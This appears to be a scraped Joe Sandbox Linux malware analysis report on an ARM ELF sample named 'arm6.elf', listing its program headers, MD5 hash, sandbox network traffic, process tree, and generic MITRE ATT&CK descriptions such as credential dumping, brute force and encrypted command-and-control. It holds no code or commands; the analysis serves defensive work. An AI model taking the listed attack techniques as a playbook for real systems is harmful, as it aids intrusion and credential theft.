Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x1b21c	0x2321c	0x2321c	0xc8	0xc8	4.3381	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1b2e4	0x1b2e4	6.2179	0x5	R E	0x8000	.init .text .fini .rodata .ARM.exidx
LOAD	0x1b2e4	0x2b2e4	0x2b2e4	0xd4	0x586c	3.5785	0x6	RW	0x8000	.eh_frame .init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 14, 2025 09:43:23.825524092 CEST	46540	443	192.168.2.14	185.125.190.26
Apr 14, 2025 09:43:54.544361115 CEST	46540	443	192.168.2.14	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 14, 2025 09:43:19.599184990 CEST	44324	53	192.168.2.14	8.8.8.8
Apr 14, 2025 09:43:19.599241972 CEST	46057	53	192.168.2.14	8.8.8.8
Apr 14, 2025 09:43:19.705626965 CEST	53	46057	8.8.8.8	192.168.2.14
Apr 14, 2025 09:43:19.705653906 CEST	53	44324	8.8.8.8	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 14, 2025 09:43:19.599184990 CEST	192.168.2.14	8.8.8.8	0xebdf	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 14, 2025 09:43:19.599241972 CEST	192.168.2.14	8.8.8.8	0x8017	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 14, 2025 09:43:19.705653906 CEST	8.8.8.8	192.168.2.14	0xebdf	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Apr 14, 2025 09:43:19.705653906 CEST	8.8.8.8	192.168.2.14	0xebdf	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm6.elf PID: 5514, Parent PID: 5432

General

Start time (UTC):	07:43:13
Start date (UTC):	14/04/2025
Path:	/tmp/arm6.elf
Arguments:	/tmp/arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm6.elf PID: 5519, Parent PID: 5514

General

Start time (UTC):	07:43:16
Start date (UTC):	14/04/2025
Path:	/tmp/arm6.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.M5lsLa (deleted)

/tmp/qemu-open.UKM569 (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm6.elf PID: 5514, Parent PID: 5432

General

Chronological Activities

Analysis Process: arm6.elf PID: 5519, Parent PID: 5514

General

Chronological Activities

Linux Analysis Report
arm6.elf